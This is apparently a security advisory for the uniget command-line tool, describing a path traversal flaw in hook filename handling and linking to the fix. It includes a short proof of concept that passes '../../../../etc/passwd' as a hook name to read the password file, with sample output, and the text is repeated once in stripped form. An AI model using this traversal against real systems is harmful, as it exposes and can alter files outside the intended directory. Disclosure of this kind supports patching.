Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]

### References
- https://github.com/uniget-org/cli/security/advisories/
GHSA-m6jg-wr9m-cg2f
- https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91
- https://github.com/uniget-org/cli/releases/tag/v0.27.6
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go
Lines 135-160Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
Step 2: Read /etc/passwd via path traversal
Step 3: Output shows file contents

### References - https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f - https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91 - https://github.com/uniget-org/cli/releases/tag/v0.27.6